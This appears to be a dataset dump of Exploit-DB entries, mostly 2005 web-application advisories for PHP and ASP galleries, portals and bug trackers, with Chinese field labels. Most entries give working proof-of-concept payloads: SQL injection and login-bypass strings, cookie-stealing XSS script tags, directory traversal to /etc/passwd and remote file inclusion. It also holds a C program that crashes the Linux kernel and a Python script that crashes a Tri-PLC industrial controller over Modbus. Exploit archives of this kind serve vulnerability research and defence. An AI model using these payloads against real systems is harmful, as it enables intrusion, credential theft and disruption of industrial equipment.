QLWD/code_shield huggingface dataset:
标题: McGallery 1.0/1.1/2.2 - 'index.php?album' SQL Injection EDB-ID: 26810 CVE: 2005-4251 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15845/info
  
mcGallery PRO is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could result in a compromise of the application,arbitrary local file inclusion and code execution, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/index.php?album=[SQL] URL: https://www.exploit-db.com/exploits/26810
标题: McGallery 1.0/1.1/2.2 - 'index.php?language' Traversal Local File Inclusion EDB-ID: 26808 CVE: 2005-4250 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15845/info

mcGallery PRO is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application,arbitrary local file inclusion and code execution, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 


http://www.example.com/index.php?language=../FILE URL: https://www.exploit-db.com/exploits/26808
标题: Linux Kernel 2.6.x - INVALIDATE_INODE_PAGES2 Local Integer Overflow EDB-ID: 26811 CVE: 2005-3808 类型: DOS 平台: LINUX 发布日期: 2005-12-13 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/15846/info

Linux kernel is prone to a local integer-overflow vulnerability.

A successful attack can result in a kernel crash. Arbitrary code execution may be possible as well, but this has not been confirmed.

All 2.6.x versions of the Linux kernel are considered vulnerable at the moment. 
*/


#define _GNU_SOURCE
#define __USE_FILE_OFFSET64
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define FILENAME "/tmp/bigfile"

int main(int argc, char **argv)
{
 int fd, fd1, ret;
 char *buf;
 char wbuf[8192];
 unsigned long long offset = 0xffffff000ULL;
 char *p=wbuf;

 fd = open(FILENAME, O_RDWR|O_CREAT|O_LARGEFILE/*|O_TRUNC*/, 0644);
 if (fd < 0) {
  perror(FILENAME);
  return -1;
 }

 ftruncate64(fd, offset + 4096*4);
 buf = mmap64(NULL, 4096*4, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
 if (buf == MAP_FAILED) {
  perror("mmap");
  return -1;
 }

 fd1 = open(FILENAME, O_RDWR|O_DIRECT|O_LARGEFILE, 0644);
 if (fd < 0) {
  perror(FILENAME);
  return -1;
 }

 p = (char *)((unsigned long) p | 4095)+1;


 if (fork()) {
  while(1) {
   /* map in the page */
   buf[10] = 1;
  }
 } else {
  ret = pwrite64(fd1, p, 4096, offset);
  if (ret < 4096) {
   printf("write: %d %p\n", ret, p);
   perror("write");
   return -1;
  }
 }

 return 0;
} URL: https://www.exploit-db.com/exploits/26811
标题: News Module for Envolution - 'modules.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26818 CVE: 2005-4262 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15857/info

Envolution is prone to multiple input validation vulnerabilities.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=&topic=18&startrow=[xss]

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=[xss] URL: https://www.exploit-db.com/exploits/26818
标题: Mantis Bug Tracker 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting EDB-ID: 26798 CVE: 2005-4238 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15842/info

Mantis is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/view_filters_page.php?for_screen=1&target_field=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/26798
标题: VCD-db 0.9x - 'search.php?by' SQL Injection EDB-ID: 26795 CVE: 2005-4240 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15840/info

VCD-db is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/search.php?searchstring=&by=[SQL] URL: https://www.exploit-db.com/exploits/26795
标题: Snipe Gallery 3.1.4 - 'view.php?gallery_id' SQL Injection EDB-ID: 26799 CVE: 2005-4244 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15844/info

Snipe Gallery is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, and exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.

Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/view.php?gallery_id=[SQL] URL: https://www.exploit-db.com/exploits/26799
标题: Snipe Gallery 3.1.4 - 'image.php?image_id' SQL Injection EDB-ID: 26800 CVE: 2005-4244 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15844/info
 
Snipe Gallery is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, and exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.
 
Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/image.php?page=1&gallery_id=1&image_id=[SQL] URL: https://www.exploit-db.com/exploits/26800
标题: PHPWebGallery 1.3.4/1.5.1 - 'picture.php' SQL Injection EDB-ID: 26792 CVE: 2005-4228 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15837/info
  
PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/picture.php?cat=best_rated&image_id=[SQL] URL: https://www.exploit-db.com/exploits/26792
标题: Plogger Beta 2 - 'index.php?id' SQL Injection EDB-ID: 26793 CVE: 2005-4246 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15839/info

Plogger is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials or may permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/index.php?sortdir=ASC&level=album&id=[SQL] URL: https://www.exploit-db.com/exploits/26793
标题: Tri-PLC Nano-10 r81 - Denial of Service EDB-ID: 26802 CVE: 2013-2784 类型: DOS 平台: HARDWARE 发布日期: 2013-07-13 漏洞利用脚本: # Exploit Title: Tri-PLC Nano-10 DoS
# Date: 07/11/2013
# Exploit Author: Sapling
# Vendor Homepage: www.tri-plc.com
# Version: Firmware Version r81 and prior
# CVE : CVE-2013-2784
# ICSA: ICSA-13-189-02

/* The vulnerability exists due to a flaw in the PLC's ability to handle a
Modbus packet with the bit quantity of coils set to 0. When sending this
malformed packet the device crashes and fails to recover without manual
intervention. Once an engineer manually reboots the device it will recover
from the crash. In order to minimize the risk of this attack the Modbus
access control list can be used to limit the ip addresses that can connect
to the device. Additionally, limiting this device to segmented internal
networks is advised and blocking port TCP 502 at the gateway.
Note: I believe the device is also vulnerable to the same vulnerability
when executing write's as well but as most write functions are going to be
limited on devices or at least more so than reads would be.
Finally, I take no responsibility for the how or where you use this proof
of concept code and remind you to be responsible. */


# Python proof of concept
# For those more interested in the value meanings:
# Starting form the \x06 bit and down being the more important pieces
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x00 coil quantity


import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x00') URL: https://www.exploit-db.com/exploits/26802
标题: PHP JackKnife 2.21 - Cross-Site Scripting EDB-ID: 26797 CVE: 2005-4239 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: www.securityfocus.com/bid/15841/info

PHP JackKnife is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=292&sKeywords=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/26797
标题: VCD-db 0.9x Search Module - 'batch' Cross-Site Scripting EDB-ID: 26796 CVE: 2005-4241 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15840/info
 
VCD-db is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/?page=category&category_id=1&viewmode=img&batch=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/26796
标题: BMC Service Desk Express 10.2.1.95 - Multiple Vulnerabilities EDB-ID: 26806 CVE: 2013-4946 2013-4945 类型: WEBAPPS 平台: ASP 发布日期: 2013-07-13 漏洞利用脚本: Classification: NON SENSITIVE INFORMATION RELEASABLE TO THE PUBLIC

Multiple vulnerabilities in BMC SERVICE DESK EXPRESS (SDE) Version
10.2.1.95
 
Affected Product:
BMC SERVICE DESK EXPRESS (SDE) Version 10.2.1.95

Timeline:
07 June 2013      - Vulnerability found
12 June 2013      - Vendor informed
17 June 2013      - Vendor replied/confirmed & opened service ticket
 
Credits:
Nuri Fattah   of NATO / NCIRC (www.ncirc.nato.int)
 
CVE: To be assigned
 
NCIRC ID: NCIRC-2013127-02
 
Description:
Multiple vulnerabilities, including Cross-Site Scripting(XSS) and SQL
injection were identified in the latest version of BMC SERVICE DESK
EXPRESS
 
Vulnerability Details:

1. SQL injection
a. /SDE/DashBoardGUI.aspx 
vuln parameter: [ASPSESSIONIDASSRATTQ cookie]

b. /SDE/DashBoardGUI.aspx 
vuln parameter: [TABLE_WIDGET_1 cookie]
c. /SDE/DashBoardGUI.aspx 
vuln parameter: [TABLE_WIDGET_2 cookie]
d. SDE/DashBoardGUI.aspx 
vuln parameter: [browserDateTimeInfo cookie]
e. /SDE/DashBoardGUI.aspx 
vuln parameter: [browserNumberInfo cookie]
f. /SDE/login.aspx 
vuln parameter: [UID]
 
2. Reflected XSS
a. /SDE/QV_admin.aspx 
vuln parameter: [SelTab]
b. /SDE/QV_grid.aspx 
vuln parameter: [CallBack]
c. /SDE/commonhelp.aspx 
vuln parameter: [HelpPage]

example:
GET
/SDE/QV_grid.aspx?QuerySeq=1068&CondVal=1%40V1%40ADMINISTRATION%401&Call
Back=parent.parent.frames.TmInputs.callBack(doGridDataCallBack.arguments
[0]);</script><script>alert(99817)</script>&ViewType=g&bRefresh=
HTTP/1.1
 
Solution:
No Solution has yet been provided.
Please contact the vendor. URL: https://www.exploit-db.com/exploits/26806
标题: Plogger Beta 2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26794 CVE: 2005-4247 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15839/info
 
Plogger is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials or may permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/index.php?level=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/index.php?level=search&searchterms=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/26794
标题: Snipe Gallery 3.1.4 - 'search.php?keyword' Cross-Site Scripting EDB-ID: 26801 CVE: 2005-4245 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15844/info
  
Snipe Gallery is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, and exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.
  
Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/search.php?keyword=%22%3E%3Cscript%3Ealert%28%
27r0t%27%29%3C%2Fscript%3E&search_cat=&search_type=and URL: https://www.exploit-db.com/exploits/26801
标题: BTGrup Admin WebController - SQL Injection EDB-ID: 26784 CVE: 2005-4207 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15819/info

BTGrup Admin WebController is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
Username : 'or''='
Password : 'or''=' URL: https://www.exploit-db.com/exploits/26784
标题: Arab Portal 2.0 - 'Link.php' SQL Injection EDB-ID: 26785 CVE: 2005-4221 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15820/info

Arab Portal is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/Arab_Portal_v.2.0_beta_2/link.php?action=list&cat_id=5&',
'010','Hacker','0')/* URL: https://www.exploit-db.com/exploits/26785
标题: PHPWebGallery 1.3.4/1.5.1 - 'comments.php' SQL Injection EDB-ID: 26790 CVE: 2005-4228 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15837/info

PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/comments.php?keyword=&author=&cat=0&since=[SQL]
http://www.example.com/comments.php?keyword=&author=&cat=0&since=1&sort_by=[SQL]
http://www.example.com/comments.php?keyword=&author=&cat=0&since=1&sort_by=date&sort_order=descending&items_number=[SQL] URL: https://www.exploit-db.com/exploits/26790
标题: Scout Portal Toolkit 1.3.1 - 'SPT-UserLogin.php' SQL Injection EDB-ID: 26783 CVE: 2005-4195 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15818/info
   
Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/Projects/SPT/demo/SPT--UserLogin.php
Input username >> '
Input password >> ' URL: https://www.exploit-db.com/exploits/26783
标题: LocazoList Classifieds 1.0 - 'SearchDB.asp' Input Validation EDB-ID: 26777 CVE: 2005-4205 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15812/info

LocazoList Classifieds is prone to an input validation vulnerability that allows cross-site scripting and SQL injection attacks.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

An attacker may also leverage this issue to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could also result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/searchdb.asp?q=[CODE]&mode=AND&Submit=Search URL: https://www.exploit-db.com/exploits/26777
标题: Scout Portal Toolkit 1.3.1 - 'SPT-BrowseResources.php' Cross-Site Scripting EDB-ID: 26781 CVE: 2005-4196 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15818/info
 
Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/Projects/SPT/demo/SPT--BrowseResources.php?ParentId=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26781
标题: phpCOIN 1.2.2 - CCFG[_PKG_PATH_DBSE] Remote File Inclusion EDB-ID: 26787 CVE: 2005-4211 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15831/info

PhpCOIN is prone to a file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote PHP code and execute it in the context of the Web server process. The attacker can also exploit this issue to include arbitrary local files through the use of directory traversal strings '../'.

Successful exploitation may lead to a compromise of the underlying system; other attacks are also possible. 

http://www.example.com/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://www.example.com URL: https://www.exploit-db.com/exploits/26787
标题: Scout Portal Toolkit 1.3.1 - 'SPT-AdvancedSearch.php' Cross-Site Scripting EDB-ID: 26782 CVE: 2005-4196 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15818/info
  
Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.


http://www.example.com/Projects/SPT/demo/SPT--Advanced.php
Input: <script>alert(document.cookie)</script> on all fields.. URL: https://www.exploit-db.com/exploits/26782
标题: Scout Portal Toolkit 1.3.1 - 'SPT-QuickSearch.php' Cross-Site Scripting EDB-ID: 26780 CVE: 2005-4196 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15818/info

Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/Projects/SPT/demo/SPT--QuickSearch.php?ss=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26780
标题: PHPCOIN 1.2.2 - '/includes/db.php?$_CCFG[_PKG_PATH_DBSE]' Traversal Arbitrary File Access EDB-ID: 26788 CVE: 2005-4212 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15831/info
 
PhpCOIN is prone to a file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit this issue to include arbitrary remote PHP code and execute it in the context of the Web server process. The attacker can also exploit this issue to include arbitrary local files through the use of directory traversal strings '../'.
 
Successful exploitation may lead to a compromise of the underlying system; other attacks are also possible. 

http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../etc/passwd%00
http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00 URL: https://www.exploit-db.com/exploits/26788
标题: BlackBoard Academic Suite 6.2.3.23 - Frameset.jsp Cross-Domain Frameset Loading EDB-ID: 26778 CVE: 2005-4206 类型: WEBAPPS 平台: JSP 发布日期: 2005-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15814/info

Blackboard Academic Suite is prone to a cross-domain frameset-loading vulnerability.

Successful exploitation may result in various attacks, such as information disclosure and session hijacking. An attacker may also be able to exploit this vulnerability to carry out phishing-style attacks.

Blackboard Academic Suite version 6.0 is reportedly affected by this issue. 

http://www.example.com/webapps/portal/frameset.jsp?tab_id=[tabid]&url=[url] URL: https://www.exploit-db.com/exploits/26778